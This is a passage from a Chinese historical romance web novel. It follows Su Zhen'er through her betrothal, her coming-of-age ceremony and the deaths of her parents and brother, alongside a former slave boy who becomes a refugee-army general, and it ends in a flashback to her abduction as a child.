“给我的?”少年有点呆,甚至忘了伸手接。 苏甄儿将手中小弓抛给少年。 “好了,别呆了,跟我去一个地方。”- 寒山寺的藏经阁不是谁都能进的。 若非苏甄儿的母亲梁氏捐赠了许多香油钱,就连堂堂公府嫡女过来也是要被拦住的。 “这是我的护卫。” 苏甄儿睁着眼睛说瞎话,少年跟在小姐身后,低着头不吭声。 看守的僧人上下打量一番,终于点头放行,两人得以进入藏经阁。 阁内书籍众多,苏甄儿一进去就挑花了眼,心情随着书籍一起沉淀下来,暂时忘记了方才的惊险,也没有空管少年,自顾自寻了自己感兴趣的典籍看起来。 少年站在不起眼的角落处安静站了一会后,顺着藏经阁的楼梯往上走。 古旧的楼梯发出轻微的“吱呀”声,他一路往上,寻到一处关于历代律法的书架,其中有一本专门讲了刺面。 刺面,即黥刑。 黥刑:在犯人面部刺字,染上黑色颜料,作为标识和耻辱标记,使其难以逃脱。 少年视线下移,看到后面还有一行小字标注:或还用于烙印奴隶。 奴隶。 少年攥紧书页,眸色咻然晦暗。 所以真正的人,身上不会有这样的烙印- 夜色昏黑,明月落于水面,波光粼粼,浸着莹白月色。 少年立在河中,四面无人,只有蛙鸣蝉叫,盛夏风浓。 天气灼热,少年一袭单衣带水从河中起身,身上疮口瘙痒难耐,可最令他无法忍受的却是后背处突起的烙印。 拖曳着长长的水渍,少年一路从河边回到帐篷里。 帐篷内未点灯,月色从外面照进来,隐约透出少年身型轮廓。 经过半年多的修养,骨瘦嶙峋的少年已经长出结实的薄肌,身型也比之前更为挺拔。 他穿着湿漉的黑衣,弯腰从床底下抽出一柄羊角匕首。 匕首被他擦拭干净,然后又在烛火上烤炙片刻。 烛火微弱,忽明忽暗,少年的脸也跟着晦暗不明。 帐篷的帘子落下,月光被割断,少年立在帐篷里,伸手摸向身后的突起。 他侧身,抬眸,不远处斑驳的镜子里照出他身后的烙印。 丑陋,可怖,像鼓起的蛆虫,从肌肤里张牙舞爪地钻出来。 炙热的匕首贴上烙印,少年咬住口中毛巾,锋利的匕首往烙印深处挖进去。 烧焦的味道伴随着浓郁的鲜血淋漓而落,浸湿了衣物。 少年的额头被冷汗浸满,他咬着牙,颤抖着指尖抚摸上那片血肉模糊的伤口。 镜子里印出后腰处的血色,羊角匕首落到地上,少年掏出药粉,洒在伤口上,然后用绷带紧紧包裹起来。 做完这一切,少年终于拿开一直咬在嘴里的毛巾。 他深深地吐出一口气。 视线落到桌上的小弓上。 刮干净了,就能成为真正的人吗?- 连着一个月,苏甄儿都没有看到少年,派去打听的绿眉回来说是病了。苏甄儿是知道少年的身体素质的,大冬天都敢在河里洗澡的一个人,怎么会在这么暖和的夏天生病? 难道是被那天突然冲过来的犯人吓到了? 可她记得当时少年眼疾手快的稳准狠,差点将那人溺死,根本就不像是被吓到的样子。当然,也有可能他当时是装的。跟她一样,表面看起来没什么害怕的,实际上回去后一想,心里猛地又后怕起来。 若她当时没射中,被那犯人抓住了,她的名声是小,性命是大。 因此,此后在寒山寺的日子里,苏甄儿不管去哪里,进出都将护卫带在身边。 盛夏最热的时候过去,天气进入十月。 十月的天稍微凉爽了起来,原本他们早该搬回公府,只是父兄在前线生死搏斗,梁氏心中不安,唯有待在寺庙之内祈福之时,心境才稍平稳。 因此,苏甄儿也就跟着梁氏在寺庙内小住下来。只是寺庙里实在无聊,苏甄儿今日出了寺进姑苏城内去游玩了一日,直到晚间日落时分才回来,路过枫桥之时,看到许久不见的少年身影,正用着破弓在射箭。 她走近,瞧见少年手里的弓箭有断裂然后被修补过的痕迹,还不止一处。 几月未见,少年身型也没长,只是整个人看起来更结实了不少,身上的疮口也消失了,留下浅淡斑驳的痕迹。 苏甄儿歪头之时,看到少年冷白的肌肤,只是那依旧遮挡在脸前的黑发模糊了五官轮廓,将那股挺拔的少年气遮盖的一干二净,显出几分阴郁沉闷。 “怎么不用我送你的?”苏甄儿突然开口,将少年吓了一跳,手中长箭射歪在水面上。 苏甄儿好奇歪头。 少年素来警惕,从来没有发生过旁人到他身边,他却没发现这种事。 可其实少年早就看到了苏甄儿。 箭会射歪不是因为被吓到,而是因为……紧张。 “会弄坏。” 少年摩挲着手中长弓,不敢看她。 少女今日一袭绯红长裙,衬得整个人如花娇艳,暖白肌肤搭配珍珠钗环,活脱脱的美人入世。 从前的少年不懂这种情愫,直到这个夏日那天。 他后腰处的伤口刚刚长好,睡梦之中突然炸醒,额头狠狠撞到床板,恍惚了许久才拎着湿漉漉的裤子从床底下爬出来。 而那个旖,旎难忘的梦境,直到现在也无法忘怀。 此后,他便一直躲着苏甄儿,直到今日突然偶遇。 苏甄儿没有察觉到他的异常,只道:“用坏了我再送你一个。”说完,她转头朝绿眉道:“绿眉,把篮子里的芙蓉花给我。” 今日去了一趟城中,苏甄儿发现自己最喜欢的芙蓉花开了。 她便买了一束回来。 十月芙蓉,最是娇艳。 “这是芙蓉花,我最喜欢的花。” 花束被送到眼前,少年鼻息间传来一阵柔软的花香。 他的神色恍惚了一下。 原来她身上的,是芙蓉香。 “我觉得芙蓉是这个世界上最好看的花,你觉得呢?” 少年低垂着头,不敢抬眸,眼睛盯着少女怀中的芙蓉。 那芙蓉摇曳生姿,透着清香。 他避开她的眼神,嘶哑着嗓音开口,“嗯,好看。” “我与旧事归于尽,来年依旧迎花开。考考你,觉得这句话是什么意思?” 少年的脑子盯着少女突然凑上前来的脸,一瞬间宕机了。 苏甄儿笑了,“朝前走,不要回头,旧事已过,新的人生刚刚开始。我喜欢这两句诗。”- 与少年在河边道别之后,苏甄儿回到寒山寺,将替母亲买的粉色夏蜡梅插到花瓶里。 梁氏这几日一直待在厢房内,偶尔在日后之后出来透透气。 她已经替苏甄儿绣好了鸳鸯戏水的被罩,现在又不知道从哪里搬了一块上等的好木材来,自己准备了工具,一点一点地磨着雕刻。 “母亲,你要雕什么?” “芙蓉花。” “我最喜欢芙蓉花了。”苏甄儿眼睛亮了,可她又担心母亲的身体,“母亲,你不累吗?我替你雕。” “不用,我不累。” 很神奇,人对于自己的死亡是有预见性的。 这是一种说不清的感觉。 就好比猫类,在死亡前,它们会独自离开家,寻找有水源的地方,一只猫安静的等待死亡。 苏母对自己的死亡也是有预见性的,她已经写信给了自己的丈夫,希望他务必在明亮春天之前回来一趟,商量一下甄姐儿的婚事。 得到的回信却是战事吃紧,无法离开,不过这位公爷对于自己女儿的亲事也是十分关心的,特意推荐了一位自荐的人选,便是那家远在金陵城的表亲,苏甄儿的亲表哥。其父是梁氏的亲哥哥,苏甄儿唤一声舅舅。 这位郎君年少成名,容貌俊秀,马上便要参加下次科举,听闻是登科及第的种子选手。这样的潜力股,自然要早早给自家女儿拿下。就算是没有登科及第,按照他们苏家的实力,也不会让甄姐儿受委屈。 对于英国公的话,梁氏倒也觉得赞同,其实她本来就有意让甄姐儿与她娘家联姻。虽然自从搬到姑苏之后,两家联系少了,但梁氏一直听说自己那侄子读书十分勤勉,在加上去年,她哥哥那边其实已经来过信了,透露出了想结亲的意思。 只是这事还得问问甄姐儿。 “甄姐儿还记得你大表哥吗?” 苏甄儿是有些印象的,可印象不深。 “听说他才华极好,于金陵城内年少成名,是下次科举的榜上人选。人品也很不错,是母亲看着长大的孩子,小时候便斯文有礼,十分谦让,你哥哥与他素来交好,时常互通书信,也说他是个君子人物。” 梁氏说到这里,苏甄儿哪里不懂,她红着脸歪在梁氏身上,玩着她母亲的头发,“我不知道。” 梁氏伸手抚上少女柔美的面庞,眼眸下垂,难掩眸中忧虑。 “甄姐儿,听娘的话,将这门亲事定下来。” 苏甄儿仰头看向梁氏。 她窝在梁氏怀里,嗅到微冷的梅花香。 即使是夏日,梁氏身上也不曾黏腻,反而冷滑。 梁氏很少给苏甄儿做决定,故此养成了她这般性子。 这次是梁氏第一次开口要求。 苏甄儿恍惚点了点头,然后看到梁氏松了一口气的表情。 这个时候的苏甄儿不懂梁氏眼神之中的含义,直到后来,她才明白,大周乱局已至,她的母亲与父兄是在为她寻找庇佑之地- 亲事就这样定了下来,并且很快传遍整个姑苏城,连带着只剩零星几人的营地上也在谈论此事。 “苏小姐身份尊贵,天姿国色,寻的夫婿自然是一等一的好。” “我听说那位家中虽只有五品官职,但本人才华出众,勤学刻苦,又被名家大儒多次赞赏,此次科举必定榜上有名。” “听说已经送了庚帖来。” 少年站在帐子里,单薄的帐子隐不去人影,也挡不住外面的声音。 被小心放在床头的芙蓉花隐显败落之势。 虽然他每日精心照料,但鲜花易败,最终枯萎成泥。 少年垂目,从地上捡起芙蓉花瓣,粗糙的指尖摩擦过柔软的花瓣,留下清晰的捏痕。 后腰处的伤口已经痊愈,可那股炙热的疼痛感却始终如影随形。 分明伤口已经长好,心里却像是莫名空了一块。 他抬头,透过拉高的帘子,看到了天空漂浮的云霓。 云霓在天上,不可摘也。 也应该在天上,永远如此耀眼夺目。 后来,他离开姑苏,在地上看飘雪,看芙蓉,看天上云霓,它们不是她,它们又是她。 第76章 及笄礼 十二月, 姑苏已经入冬。 苏甄儿换上新制的及笄服,坐在梳妆台前发呆。 “怎么了,小姐?”绿眉一边替她梳发,一边小声询问。 “父兄他们……”苏甄儿神色忧虑, 欲言又止。 “小姐放心, 听说公爷和世子虽在彭城被围困多日,但幸得援军救助, 现在已经在回来的路上了。” 苏甄儿自然知道这消息, 只是没有亲眼见到她的父兄,她心中还是不安。 “小姐, 您这把匕首是哪里来的?”绿眉视线下移,看到了被置在梳妆台下面的匕首。 “别人给的。” 少年走了,帐篷里被收拾的极为干净, 只留下这柄匕首,下面压着一张纸条,上面写了四个字:“如你所愿。” 什么叫如她所愿? 苏甄儿想起两人最后一次见面,她心情不好,跟少年抱怨了几句父兄不能回来参加她的及笄礼,说她讨厌打仗, 希望以后再也没有战争, 说希望父兄平平安安,永远陪在自己和母亲, 还有奇哥儿身边。 然后第二天, 少年就不见了。 “回来了,阿姐,父亲和兄长回来了……” 同样被换上了绯红喜色冬日袄子的奇哥儿出现在门口,朝屋内的苏甄儿奶声奶气道:“阿姐, 父兄回来了。” 这个时候的奇哥儿虽年幼,但已经初具古板形象,手中拿着书籍过来通信。 苏甄儿一下站起来,提起裙子就往外面跑。 “小姐,斗篷,外头冷!”绿眉赶紧从木架上取了斗篷,跟在苏甄儿身后跑。 冷风冷冽,苏甄儿一路跑出甬道来到前院摆宴的地方。 宴会尚未开始,宾客零星而坐。 她穿过前院,来到苏府门前。 苏府大门敞开,母亲已经候在那里,她看到疾奔过来的苏甄儿,微笑着朝她招手。 苏甄儿跑到母亲身边,气喘吁吁。 “跑这么急做什么?”梁氏好笑地摇头,然后忍不住轻咳几声,她用帕子掩住口鼻,替苏甄儿拉了拉歪斜的斗篷,防止进风。 “母亲,父兄回来了吗?”苏甄儿踮脚张望。 “快了。”梁氏话音方落,便见那边行来一行队伍,为首之人身穿铠甲,身型魁梧,其后跟着一位容貌俊朗的青年,看到候在苏府门口的妹妹和母亲,立即抬招呼,随后一夹马腹,快速穿过英国公第一个来到府门前。 男子翻身下马,一把将朝父亲奔过去的苏甄儿拦腰抱起,“甄甄!” “呀!”苏甄儿挣扎一顿,被放到地上。 “怎么不叫哥哥?”男人伸手点了点她的鼻子。 “父亲!”苏甄儿攀着哥哥的胳膊,抬手朝英国公招手。 男子撇嘴,“没良心的小东西,亏得你哥哥我还给你带了生辰礼。” 苏甄儿一听到生辰礼这三个字,登时眼前一亮,乖巧甜美道:“哥哥。” 男人:…… “甄姐儿长大了。”英国公上前,粗糙的手掌抚了抚苏甄儿的脑袋。苏甄儿猫儿一般蹭了蹭,“父亲。” 梁氏上前,“公爷。” 许久未见的夫妻显得有些疏离,可该有的尊敬还是不少。 “今日正好是甄姐儿的及笄礼,她盼你们盼了一年多了。”梁氏说着话,视线落到自己的大儿子身上,“煦儿瘦了。” “母亲。”苏承煦拱手与梁氏问安。 英国公低头摸了摸站在梁氏身后的小男孩,“奇哥儿也长大了。” 梁氏回头看了一眼身后的小男孩,抿唇,叹息,“那是房管事的儿子。” 英国公:…… “父亲。” 一道声音响起,追不上苏甄儿,迈着小短腿直到现在才赶到的奇哥儿恭恭敬敬的给他们行礼。 苏承煦歪头看过去,“小弟。” “兄长。”奇哥儿脸上并不显热络,虽然他知道这两位一个是他的父亲,一个是他的兄长,但两人常年在外打仗,奇哥儿跟他们并不熟悉。 “来,飞高高!”下一刻,奇哥儿被苏承煦抛了起来。 奇哥儿:!!! “苏承煦!”梁氏忍不住低喊一声。 苏承煦这才将头晕晕的小摆件奇哥儿放下来,然后摸了摸鼻子,“母亲,别气,我这是稀罕奇哥儿呢。” 苏甄儿默默往梁氏身后躲了躲。 刚刚落地的奇哥儿也跟着躲到了梁氏身后。 梁氏扶额,“及笄礼要开始了,我们进去吧。”- 这场及笄礼一直持续到夜间,众人吃多了酒,陆陆续续被自家接回去。 英国公坐在主位上,脸上酒色上头。 身边的宾客零零星星都散了,梁氏将女眷送了回去,管家也将剩下的男宾送走了。 热闹过后,唯剩寂静。 英国公再饮一口酒,看向在自己身边坐下来的梁氏。 “这么多年,辛苦你了。” 梁氏摇了摇头,“是我自己的儿女,我将他们生出来,自要好好养育,甘之如饴。” 英国公脸上闪过愧疚之色,他道:“等战事结束,我就跟皇上告老还乡,带着煦儿跟你们一道住在这姑苏城里。” 英国公征战沙场多年,身上带着粗粝的杀意,他跟这水秀江南格外不符。 梁氏笑了笑,点头,然后又是一阵咳嗽,缓了缓,她问到之前的事,“听说彭城围困,有一位鬼面少年突袭敌军,带领一支流民军救了你与煦儿?” 此事已经在姑苏城内传开,众人都在猜测那位鬼面少年的身份。 说到战场之事,英国公的劲头就来了,“那少年身型诡谲,用兵如神,是不可多得的将帅之才,虽然不知道身份,但日后必成大器。若非咱们甄甄定了亲事,我倒还真挺看好那子。不过话又说回来,战场凶险,刀剑无眼,咱们甄姐儿还是不嫁打仗的人好。” 梁氏点头,“我吃过的苦自然不会想再让甄姐儿吃,我已经替甄姐儿定下了我哥哥家的孩子。” 英国公被梁氏刺了一句,他沉默一会点了点头,“那孩子挺好的。” 随后,他又是一道叹息。 一晃十几年,他的甄甄居然都已经定亲了。 “若非战事不断……”英国公说到这里,突然顿住。 他下意识看向梁氏。 英国公也不是想狡辩,只是刚才梁氏才表现出了一点不满,他现在开口说这种话,难免像是在争辩。 梁氏垂目,接他的话,“若非战事不断,你我也不会异地相隔,甄姐儿和奇哥儿也不会有父兄如同没有父兄。”梁氏语气平静,并无苛责之意,她只道:“我知道你是身不由己,也知道你是为了大周百姓,怪只怪有人利益熏天,视人命如草芥。” 英国公垂首,又饮下一杯酒,“马上就会完了,战事马上就会完的。” 梁氏替他倒了一杯茶,“我身子越发不好,为了甄姐儿和奇哥儿,还有煦哥儿,你一定要回来。” 英国公沉默半响,盯着面前清冽的茶水,嘴唇蠕动,“会的。” 一定会的- “我的生辰礼。”苏甄儿伏在苏承煦榻旁,伸手讨要自己的生辰礼。 苏承煦在刚才的生辰礼上被人灌了酒,面色潮红地趴在榻上,听到苏甄儿的声音,蔫蔫翻了个身。 苏甄儿见他死猪一般,气得将手边的枕头往他身上砸。 没砸醒,她又将枕头垫在苏承煦后背上,然后自己坐了上去,对着苏承煦的耳朵大喊,“生辰礼!” 苏承煦:…… “我的甄姐儿从前如此玉雪可爱,怎么现在变得……”苏承煦睡不下去了。 “依旧是玉雪可爱。”苏甄儿拿起苏承煦的枕头对着他的脑袋打。 柔软的棉花枕头,是梁氏前几日刚刚替苏承煦做好的。 苏承煦被揍得左右闪躲,无奈从身上掏出一柄钥匙递给她,“喏。” 苏甄儿终于停止她的暴行,“这是什么?” “我的私房钱,都在这里。”苏承煦神秘道:“在我下次归家前,你能想用多少就用多少。” 苏甄儿眼前一亮,可立刻面露疑惑,“你不是说那些钱是你要讨老婆用的吗?” 苏承煦一顿,随后无奈摇了摇头,“谁让妹妹更重要呢。” 苏甄儿才不信呢。 “我知道了,你根本就没有替我准备生辰礼,才拿这个敷衍我。” 被发现了。 苏承煦死不承认,“难道这份生辰礼不好吗?” 好,倒是极好。 “谁知道你的私房钱会不会都比不过我的月钱。” 苏承煦:…… “那还我。” “不还。” 苏甄儿从苏承煦身上跳下来,提裙往外跑。 苏承煦假装追了两步,又坐回去。 酒气上涌,他抚着额头躺回去。 九死一生的彭城之战,大周越发混乱的局面。 苏承煦偏头看向悄悄在门口探出头来看他的苏甄儿,猛地一下又坐起来。 少女被惊吓到,一边跑,一边喊,“你给我了,不能再要回去!” 她一袭红色斗篷,在灰败的冬日里艳如朝阳。 第77章 流民帅 前方战事紧急, 苏甄儿的父兄只在苏府停留了一日,于第二日又整装出发回到战场。因此,今年过年又是梁氏带着苏甄儿和奇哥儿一起过。 今年冬日比去年暖和许多,苏甄儿一边陪伴母亲, 一边与姐妹们冬日围炉, 春日踏青,顺便代替梁氏处一些事务。 苏甄儿裹上斗篷, 坐在二楼雅座内听着下面说话。 “此次压轴之物, 是由英国公府嫡女苏小姐捐赠的红玛瑙珠花,起拍价五十两。” 河南连年水灾, 梁氏做东,牙行作为中介,召集姑苏城内有名有姓的豪绅官家, 一同捐赠善款,帮助灾民渡此难关。 因为梁氏身子不好,所以此次捐赠活动由苏甄儿代。 作为主办方,苏甄儿挑选了几样饰品私下捐出之后,又取出一样饰品作为压轴。 按照苏甄儿的估计,这珠花加到三百两最多了。 这珠花的价值就在于它是前朝之物, 自然比旁的贵些。 台下之中有倾慕苏甄儿之流, 价格越喊越高。 突然,有人从侧方上了台子, 在牙人耳边轻声低语。 那牙人面露惊色, 随后朝众人道:“一千两!有贵客出价一千两,还有加价的吗?” 苏甄人好奇地坐直了身体,她透过面前的珠帘朝下面扫视一圈,却并没有看到出价之人。 那牙人又道:“还有没有加价的?” 一支前朝珠花, 顶天三百两,就算想是想要讨好这位公府小姐,这血出的也太大了些。 众人静默不语,珠花以一千两的价格被拍下。 按照规矩,苏甄儿自然是要去见一见这位神秘宾客的。 “小姐,那人走了。” 牙人来到苏甄儿的包厢内,看着坐在自己面前,头戴帷帽的尊贵少女,语气恭谨至极。 “你可认识?” 这牙人在牙行里做了很多年,认识许多达官显贵,可却摇头道:“没见过,而且……”那牙人顿了顿,从怀中掏出一叠银票,零零散散,凑到一千两,不似大富大贵之家的出手。 苏甄儿沉思片刻,道:“也是一片善心。” 对此,苏甄儿并未多想,她结束此次拍卖,回到苏府,径直去往主屋。 屋内烧着炭盆,帘子撩开一条窄窄的缝。整间屋子里飘散着极其浓郁的药香味,苦涩到呼吸的时候能蔓延进每一寸肌肤里。 苏甄儿轻车熟路的来到梁氏床边,先将花瓶内的梅花换了,然后才坐下来。 梁氏面色苍白地躺在那里,身形瘦削至极。 她听到身边动静,缓慢睁开眼,脸上露出一个虚弱的笑,“甄姐儿。” 苏甄儿点了点头,握住梁氏的手,“母亲,是我。” 梁氏叹息一声,“今日的药太苦了。” “我让人给母亲做的蜜饯,母亲没尝尝?” “尝了,好吃。” 两人说了一会儿话,梁氏就累了。 苏甄儿轻轻放下床帐,一个人慢慢退出去。 梁氏的身体越发不好,大周乱局已至,父兄的消息越来越少,苏甄儿这几日总觉得心慌至极。 倒春寒的天气马上就要过去了,梁氏的身体突然好转起来。 苏甄儿喜不自胜,觉得母亲随这春日一般,焕发出了生机。 梁氏坐在梳妆台前梳发,她已经很久没有好好打扮自己了。 天气依旧很冷,她穿上春日衣物,坐在院中晒了一会儿日头,然后又吩咐小厨房做了几道小菜,跟苏甄儿和奇哥儿一起吃。 梁氏自吃药开始,就没有用过这么多饭。 她吃了一碗珍珠米,放下筷子,安静地看着苏甄儿和奇哥儿。 三人用完饭,梁氏又找苏甄儿的奶母说了话。 夜已至,奶母推门而出,站在屋前久久没有离开。 屋内的灯亮了一会,随后熄灭。 翌日,苏甄儿尚在睡梦之中,便听绿眉唤她,“小姐,夫人……去了。”- 跟苏甄儿想象中的不同,梁氏去的很安静。 她躺在那里,妆容精致,看起来不像是去世了,反而像是安静的睡着了。 这是苏甄儿第一次看到生命在自己面前逝去。 她不害怕。 她知道那是她的母亲。 崩溃来的比她想象中迟。 “不要带奇哥儿过来。” 这是苏甄儿进来之后说的第一句话。 绿眉点头,流着泪奔出主屋去照料奇哥儿。 奶母站在床边,颤抖着手将手里的书信交给苏甄儿。 这是梁氏昨夜写下的遗书。 不外乎都是母亲关心孩子的话,天冷添衣,不可贪凉,照顾好自己。 最后是梁氏要告诉苏甄儿的话,她似乎预见了什么,笔尖颤抖,湿了纸页,“甄姐儿,奇哥儿,命运袭来时,我们避无可避,能改变的只有自己。 我知道,我们甄姐儿是个坚强的孩子。 我与旧事归于尽,来年依旧迎花开。” “小姐……”苏甄儿听到奶母的声音,她抬眸,模糊间看到奶母担忧的面庞,抬手擦了擦自己的脸,这才发现自己已经泪流满面。 “我还以为,母亲要好了……”- 母亲的丧礼办的很简单,父兄连夜赶回,风尘仆仆,甚至身上还带着伤。 外面很乱,尖锐的丧乐萦绕在公府之内,唱了三日。 苏甄儿身穿丧服,呆呆坐在檐下,听着父兄安排琐碎之事。 苏承煦偏头,注意到苏甄儿,他走过来,轻轻摸了摸她的脸,“母亲走的很安详,没有受苦。” 苏甄儿低头,闷声不语。 苏承煦又道:“甄甄,我跟父亲明日就走了。” 苏甄儿猛地一下抬起头,双眸肿得核桃一般。 她死死拽住苏承煦的衣角,“不能不走吗?” 她害怕。 院子好大,空落落的。 “我们甄姐儿长大了,都定亲的人了,怎么还跟哥哥撒娇?” “哥哥答应你,打完仗就回来了。” “那你一定要回来。” “好。”- 苏承煦给苏甄儿留下一匹马,说这是补给她的生辰礼,而那枚钥匙苏甄儿也没有还给他,只是安静的在她的妆奁盒子里放着。 奇哥儿病了。 小孩本就多病,这倒不稀奇,只是苏甄儿也病了。 她吹不得风,整日里躺在主屋内休息,每日里都等着战场那边传过来的信件。 春去冬来,苏甄儿的病渐渐好转,天气又开始阴冷。 院子水缸里的水结了厚厚一层冰,细碎的飘雪带着雨水簌簌落下,悄悄覆满半座姑苏城。 苏甄儿趁着身子好转,去了一趟寒山寺祈福。 从前苏甄儿不懂母亲为何喜欢待在寺庙,现在她明白了。当命运袭来,无力可使的时候,唯有让心安定。 天气愈发冷了,苏甄儿想,这几日应当是姑苏城最冷的时候。 她回去的路上还在盘算着怎么将过冬的袄子给父兄寄去,其实之前就已经试过,只是战场那边的路难行,始终不达。 还没算计好,金陵那边传来消息,皇帝驾崩,留下遗诏。 远在战场的父兄来不及回一趟姑苏,又前往金陵。 各地藩王蠢蠢欲动,明里暗里追截遗诏。 今日的风冷到了骨子里,苏甄儿觉得自己的骨头缝都被吹开了。身体僵冷的她坐不住了,抱着汤婆子躺回床上,迷迷糊糊间,她听到有人在敲打她的窗子。 苏甄儿睁开眼,看到一只白鸽站在窗台上探头探脑。 苏甄儿一瞬起身,赤足走过去抓住那白鸽,取下它脚上绑着的书信。 书信背面印着鲜艳的芙蓉花。 正面寥寥几语,令人心颤。 英国公携子命丧江口。 苏甄儿身体虚浮地伸手扶住身侧的桌案。 雷霆雨露,皆是命运。 我命由天不由我。 她不知道自己是怎么回的榻上。 她努力呼吸,却喘不上气,双耳嗡鸣,听不见声音,直到绿眉端着水盆进来,看到面色惨白的她- 苏甄儿又病了。 她开始做梦。 她已经很久不做梦了。 在梦里,她看到了母亲,也看到了父兄。 她不愿醒来,她听到身边奶母在跟医士说话。 “小姐她从小体弱,亏得夫人细心爱护,也如寻常孩童一般长大了。夫人去世之后,小姐大病一场,旧疾复发,刚刚养好,公爷和世子却又……” 奶母说到这里,忍不住掩面哭诉。 绿眉也跟着呜呜的哭。 苏甄儿这一病,便是半月,直到前方送来了她父兄的衣冠。 什么都没有剩下,那么湍急的河流,连打捞都捞不起来,唯独河边落下一枚玉佩。 那是英国公的玉佩。 她父亲留下的唯一遗物,听说是那位鬼面流民帅捡到的。 苏甄儿躺在床上,摸着玉佩,看到替她端来汤药的奇哥儿。 她撑起身体,替奇哥儿将玉佩系上。 “阿姐,今后是不是只剩下我们两个人了?”奇哥儿还不懂死亡的含义,他只是看到别人哭,也忍不住跟着闷声哭。 苏甄儿抬眸看向奇哥儿,伸手抚了抚他苍白的面颊,“是。” 只剩下他们两个人了- 天气太冷,苏甄儿的病始终不好,虽然她吃喝一切正常,也在学着梁氏的样子努力料府中事务,但只有绿眉知道,她家小姐有多辛苦。 屋内弥漫着厚重的药味,看到又是一夜坐到天明的小姐,绿眉伸手捂住口鼻,忍不住呜咽哭泣起来。 听到动静,苏甄儿转头看向绿眉,“绿眉,我好害怕,天又亮了。” 说完,苏甄儿面无表情地转头看向窗外。 雾蒙蒙一片,什么都看不清。 生命太长,她的痛苦像无限循环的日月,无穷无尽,她在这世间煎熬。 她知道,她必须要熬过去。 可是好难,太难了。 原来人要活着是这么难。 “咕咕……” 白色的信鸽敲击窗台,苏甄儿垂目,抬手。 窗台被打开,白鸽跳进来。 它脚上绑着密信。 苏甄儿安静看着,良久之后才抬手取下,却并不看,只是随手扔到一边,然后将白鸽放飞。 绿眉上前,照旧将这些密信处。 自公爷和世子去后,小姐就不看这些东西了。 绿眉拿起之时,上面的绑绳一松,密信舒展。 不小心看到密信内容,绿眉神色一顿,继而惊喜道:“小姐,有人在追杀肃王父子!” 苏甄儿灰败眸色之中渐渐燃起一抹颜色。 她的视线落到那密信上,声音忍不住发颤,“是谁?” 绿眉念道:“流民帅,陆麟城。” 第78章 小哥哥(小修) 姑苏春日, 杨柳垂岸,细雨刚过,青石板砖上覆着薄薄一层湿漉水渍。 沉寂许久的苏府老宅终于迎来了它的主人。 吴管家一大早便差人将府内上下打扫干净,准备迎接新主人。 十几辆马车从街头遥遥而来, 三十出头的年轻男子身骑高头大马, 身侧跟着一个十几岁的少年郎。 两侧护卫腰佩大刀,护佑着其中一辆华贵马车。 小小的少女伸手撩开马车帘子, 露出乌黑圆润的一双眼, 奶白的肌肤,绯红色的春衫, 扎着两个小小发髻,上面插着两支珠花,垂挂珍珠, 跟年画上的福娃娃一样可爱。 “母亲,这里就是姑苏吗?”小少女转头看向坐在自己身后的母亲。 年轻的女子小腹微微隆起,她点头道:“是的。” 姑苏房屋多低矮,白墙黑瓦,远远一看,线条干净又简洁。 来到自己熟悉的家乡, 女人连表情都柔和舒缓下来。 沿街正在售卖独属于姑苏的甜品小食, 小少女舔了舔唇,很是嘴馋。 “家中有厨娘, 惯会做姑苏甜品, 等到了宅子,母亲就让她给你做。” 梁氏如此安抚小少女,这才将垂涎不已的小少女哄劝住。可很快,小少女又被其它东西吸引住了。 街边有人在卖艺。 身姿窈窕的女人穿着舞服, 双眸覆着薄纱,赤足于大鼓上起舞,鼓声咚咚,女人翩翩起舞,如梦似幻,吸引了大部分人驻足围观叫好。只可惜她生得面黄多斑,实在算不上美人,只是舞艺实在惊人。 一旁一袭黑衣的男子生了一张普通至极的脸,正手持托盘,向围观群众讨要表演费。 在他身后还跟着一个十二三岁的少年郎。 生得却是姿容出色,隽秀非凡。 从容貌上来看不像是一家三口,可那小少年却开口喊了“父亲”。 女人在鼓上旋转,手中还拿着另外一个小鼓敲击,一时间,大鼓小鼓叮咚作响,将气氛推向高潮。 小少女看得痴了,一歪头,跟女人身后的少年郎对上视线。 两人对视片刻,小少女摘下头上的珠花,朝他扔过去。 这是她跟母亲学的,母亲看戏的时候,看到兴处,就会给台上的人扔首饰。 这是一种来自观众的赞赏和肯定。 被小小年纪的少女学会了。 梁氏看到她的动作,摇了摇头,却没阻止。 珠花落地,正巧掉在小少年脚边。 小少年弯腰把它捡起来,然后顺着人流朝马车走过来,被护卫拦住。 他抬手,将珠花还给护卫。 护卫神色疑惑地转头看向马车。 梁氏单手撩起帘子,声音温和道:“是小姐给的东西。” 护卫听罢,将珠花重新递给小少年,“是小姐的打赏。” 如此贵重的打赏还是第一次收到,也难怪小少年以为会是那小小姐不小心掉落。 小少年握着珠花,没有再还,看马车从自己面前辘辘经过,小少女被女人圈在怀里,昏昏欲睡。 马车停在不远处的深宅门口。 华衣美服的仆人们恭谨候在两旁,将角门打开,马车径直而入。 小少年歪头看过去,宅子上面写了两个字。 苏宅- 初到姑苏,苏甄儿这个小粉团子很是兴奋,缠着梁氏要出去玩。 正是元宵佳节,大街上张灯结彩好不热闹,梁氏忙着收拾屋子,再加上身子有孕不方便,便让奶母领着苏甄儿出去玩。 “别太贪玩,早些回来。” “知道了,母亲。” 声音还在,人却早飞出去了。 梁氏无奈摇头。 小粉团子初入姑苏夜市,看得眼睛都挪不开了。 大街上是连绵的彩灯,各式各样的兔子、螃蟹、圆形的,方形的,应有尽有。 “奶母,我要这个。”苏甄儿看中了一盏能飞的蝙蝠灯笼。 奶母牵着苏甄儿的手,正欲上前询问价格,突然感觉肚子一阵绞痛,她左右环顾一圈,低头跟苏甄儿道:“你随他待在这里,奶母去去就回来。” 除了苏甄儿和奶母,梁氏还安排了一位老宅的仆人跟着。 那仆人是姑苏本地人,熟悉姑苏地界。 苏甄儿点头,看着奶母去寻茅厕,嘴里还在念着那盏蝙蝠灯笼。 那仆人守在苏甄儿身边,视线却在左右环顾,看到人群里的某个人后,突然上前。 “小姐,可是想要这蝙蝠灯笼?”仆人弯腰询问。 苏甄儿点头。 仆人笑了一声,掏钱给苏甄儿买了,然后又问她,“小姐还要什么?” 苏甄儿摇了摇头,“不用了。” 小小的少女摆弄着手里的蝙蝠灯笼,好奇地看着它上下翻飞的翅膀,黑色的眼眸被灯光照亮,看起来纯稚至极。 仆人站起身,给钱的时候手中铜板突然散落一地。 “哎呀,谁的钱!” 这一声吆喝,瞬间让人群聚拢过来。 年纪大的推搡着使劲挤,去抢地上的铜板。 “别挤别挤,挤什么啊!” 人群骚乱起来。 仆人趁机一把捂住苏甄儿的嘴,将她带离人群。 蝙蝠灯笼掉在地上,被人踩烂了。 苏甄儿年纪虽小,但明显感觉到不对劲。 